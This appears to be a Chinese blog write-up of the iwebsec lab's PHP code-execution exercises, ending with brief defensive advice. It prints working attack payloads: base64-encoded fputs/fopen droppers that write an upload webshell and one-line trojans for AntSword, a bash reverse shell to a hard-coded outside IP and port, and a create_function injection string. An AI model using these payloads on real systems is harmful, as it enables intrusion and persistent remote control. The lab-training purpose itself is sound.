代码执行漏洞 | iwebsec

这篇具有很好参考价值的文章主要介绍了代码执行漏洞 | iwebsec。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

00-代码执行漏洞原理

代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。PHP代码执行漏洞可以把代码注入应用中最终到webserver去执行。这样的漏洞如果没有特殊的过滤,相当于一个web后门的存在。该漏洞主要由

eval()assert()preg_replace()call_user_func()call_user_func_array()array_map()

等函数的参数过滤不严格导致,另外还有PHP的动态函数$a($b)。【摘自《代码审计——企业级Web代码安全架构》】

命令执行漏洞与代码执行漏洞的区别:命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。

环境

该学习过程使用iwebsec环境。

代码执行漏洞 | iwebsec

01-eval函数示例

eval()函数原本的作用就是用来动态执行代码,所以它们的参数直接是PHP代码。主要源码如下,与一句话木马相似,印证了“相当于一个web后门的存在”:

<?php
	if(isset($_POST[1])){  //post方式接收一个参数
		@eval($_POST[1]);  //执行传入的参数
	}else{
		exit();
	}
?>
命令执行

代码执行漏洞 | iwebsec

执行脚本代码调用操作系统命令。

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

使用echo进行输出。

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec
这个原理后面会用到:利用post传参,不能出现<>+=/等符号。

写入webshell

参考了这篇文章,php中代码执行&&命令执行函数。

代码执行漏洞 | iwebsec

fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

用burpsuite的解码一下主要部分

代码执行漏洞 | iwebsec

解码

fputs(fopen(shell.php,w),<?php 
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>)
  1. 写入上传马文件

代码执行漏洞 | iwebsec

  1. 写入成功

代码执行漏洞 | iwebsec

  1. 访问上传马

代码执行漏洞 | iwebsec

  1. 写入一句话木马

代码执行漏洞 | iwebsec

  1. 蚁剑连接

代码执行漏洞 | iwebsec

  1. 新写入的木马文件

代码执行漏洞 | iwebsec

我要自己构造一个写入木马的方法。

代码执行漏洞 | iwebsec

木马文件内容

代码执行漏洞 | iwebsec

木马文件名称

代码执行漏洞 | iwebsec

构造出来的语句

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入点写入

代码执行漏洞 | iwebsec

蚁剑连接

代码执行漏洞 | iwebsec

成功了,很好

代码执行漏洞 | iwebsec

bash反弹shell
<?php system("bash -i >& /dev/tcp/8.134.148.36/2233 0>&1");  ?>

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

构造出语句

fputs(fopen(base64_decode(MzMucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdjM2x6ZEdWdEtDSmlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMemd1TVRNMExqRTBPQzR6Tmk4eU1qTXpJREErSmpFaUtUc2dJRDgr)));

监听端口

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

02-assert函数示例

assert()功能:判断一个表达式是否成立,返回true or false,重点是该函数会执行此表达式。与eval类似,字符串被 assert() 当做 PHP 代码来执行。

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

webshell

利用上面的shell,木马文件名为22.php,密码为1

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入

代码执行漏洞 | iwebsec

蚁剑连接

代码执行漏洞 | iwebsec

源代码

<?php
	if(isset($_POST[1])){
		@assert($_POST[1]);
	}else{
		exit();
	}
?>

03-call_user_func函数示例

代码执行漏洞 | iwebsec

什么是回调函数?

回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

源代码

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		//第一个参数是我们想要调用的函数名,第二个参数是调用函数的参数
		call_user_func($_POST['fun'], $_POST['arg']);  
	}else{
		exit();
	}
?>

04-call_user_func_array函数示例

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func_array($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
总结

call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架中动态调用函数,所以一般比较小的程序较少出现这种方式的代码执行。

05-create_function函数示例

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; //通过get方式传参
		$code = 'echo '.$func.'test'.$id.';';  //$code是构建的函数里面的代码
		create_function('$func',$code);  //$func是构建的函数的参数
	}else{
		exit();
	}
?>

------------------------可以理解为------------------------
<?php
	if(isset($_GET['id'])){
		$id = $_GET['id']; 
		函数名('$func'){
			//$code
			echo $func.'test'.$id;
		}
	}else{
		exit();
	}
?>

------------------------输入 id=1;}phpinfo();/* ------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		//假设$func='111111',只是方便理解
		函数名('$func'){
			echo "111111"."test"."1;}phpinfo();/*";
		}
	}else{
		exit();
	}
?>

------------------------整理一下------------------------
<?php
	if(isset($_GET['id'])){
		$id = '1;}phpinfo();/*'; 
		函数名('$func'){
			//echo之后的结果 111111test1;}phpinfo();/*
			111111test1;
		}
		phpinfo();  //该函数内部有eval(),可以执行字符串.这可能需要深入理解一下create_function才行
		/*;   //这是多行注释符,意味着下面的代码会被注释掉
		}
	}else{
		exit();
	}
?>

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

这个有点难理解,可以一步一步整理一下。

代码执行漏洞 | iwebsec

06-array_map函数示例

代码执行漏洞 | iwebsec

array_map() 函数将用户自定义函数作用到数组中的每个值上(漏洞原理:为数组的每个元素应用回调函数),并返回用户自定义函数作用后的带有新的值的数组。

代码执行漏洞 | iwebsec

<?php
	if(isset($_GET['func'])||isset($_GET['argv'])){
		$func=$_GET['func'];   //自定义的函数名
		$argv=$_GET['argv'];    //可控制的参数
		$array[0]=$argv;
		array_map($func,$array);  //调用func的函数,传入array参数
	}else{
		exit();
	}
?>

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

总结

array_map()函数的作用是调用函数,并且除第一个参数外其他参数为数组,通常会写死第一个参数,即写死调用函数。

call_user_func()、call_user_func_array()、array_map()等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,如果这个传入的参数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。【摘自《代码审计——企业级Web代码安全架构》】

08-preg_replace漏洞函数示例

漏洞触发原理:第一个参数存在e标识符的话,第二个参数的值会被当做PHP代码来执行

代码执行漏洞 | iwebsec

源码

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/e';  //漏洞点
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	   //$subject能匹配$pattern,所以$replacement一定会被当做PHP代码执行
	}else{
		exit();
	}	
?>

利用

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

07-preg_replace无漏洞函数示例

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>
总结

preg_replace()函数的代码执行需要存在/e,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。【摘自《代码审计——企业级Web代码安全架构》】

09-可变函数漏洞示例01

什么是可变函数?

PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。

为什么要使用可变函数?

这种写法跟使用call_user_func的初衷一样,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

源码

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		$func = $_REQUEST['func'];  
		//它没有对输入的参数进行限定,意味着我们可以控制参数,写入非func1和func2的函数名
			echo $func();
	}else{
		exit();
	}
?>

利用

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

10-可变函数漏洞示例02

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		function func3($arg){
			echo "func3函数的参数是".$arg;
		}
		$func = $_REQUEST['func'];  //可控参数
		$arg = $_REQUEST['arg'];  //可控参数
		echo $func($arg);
	}else{
		exit();
	}
?>

利用

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

代码执行漏洞 | iwebsec

疑问

这是10-可变函数漏洞示例02

代码执行漏洞 | iwebsec

这是05-create_function函数示例

代码执行漏洞 | iwebsec

首先我们来测试一下下面的代码

<?php
		echo "phpinfo()";
		echo "\n-------------------------";
		echo eval("phpinfo();");
?>

结果如下,第一个echo只能输出字符串phpinfo(),而不能执行。第三个才能echophpinfo()执行的结果。

代码执行漏洞 | iwebsec

因为create_function()在内部执行了eval(),就像上面代码的第三个echo一样。

代码执行漏洞 | iwebsec

11-漏洞防御

  1. 对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)。
  2. 字符串使用单引号包括起可控代码,插入前使用addslashes转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string)。
  3. 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
  4. 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(第二个参数使用单引号包裹)。

希望来到最后的看官们能点个赞~ 非常感谢~
代码执行漏洞 | iwebsec文章来源地址https://www.toymoban.com/news/detail-484869.html

到了这里,关于代码执行漏洞 | iwebsec的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(87)
  • 解决 远程 服务器--Microsoft Windows CredSSP 远程执行代码漏洞(CVE-2018-0886)【原理扫描】(KB4103725 或 KB4103715)

    系统: windows server 2012 R2 standard 扫描出漏洞: Microsoft Windows CredSSP 远程执行代码漏洞(CVE-2018-0886)【原理扫描】 按照微软官方给的答案: https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2018-0886,对应下载安装包是 KB4103725 或 KB4103715 但是下载后安装 报错: 此更新不适用此

    2024年02月06日
    浏览(69)
  • iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞

    iwebsec靶场的redis漏洞为未授权漏洞,如下所示。 那么这个未授权漏洞的原理是什么呢?Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(

    2024年02月09日
    浏览(38)
  • iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时

    2023年04月24日
    浏览(52)
  • RCE代码执行漏和命令执行漏洞

    前置知识: 漏洞检测: 在了解漏洞概念前,应该先知道一下这个漏洞如何检测的,我们应该或多或少听过白盒测试(白盒),黑盒测试(黑盒)。 白盒测试: 白盒测试是对源代码和内部结构的测试,测试人员是可以知道内部的逻辑和结构的,差不多就是代码审计。 黑盒测试:

    2024年02月19日
    浏览(41)
  • 代码执行漏洞

    一、代码执行漏洞: 1、漏洞简述:         当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。 2、代码执行常见函数: (1)PHP: (2)JAVA: 没有类似的函数,但是一些引擎可以达成相同的效果 二、实例: 1、对

    2024年02月08日
    浏览(110)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(46)
  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里

    2024年02月08日
    浏览(39)
  • 漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令,紧随账号

    2024年02月16日
    浏览(54)
  • 远程代码执行漏洞的利用与防御

    全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 2.代码执行漏洞: 靠执行脚本代码调用操作系统命令 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防

    2024年02月15日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包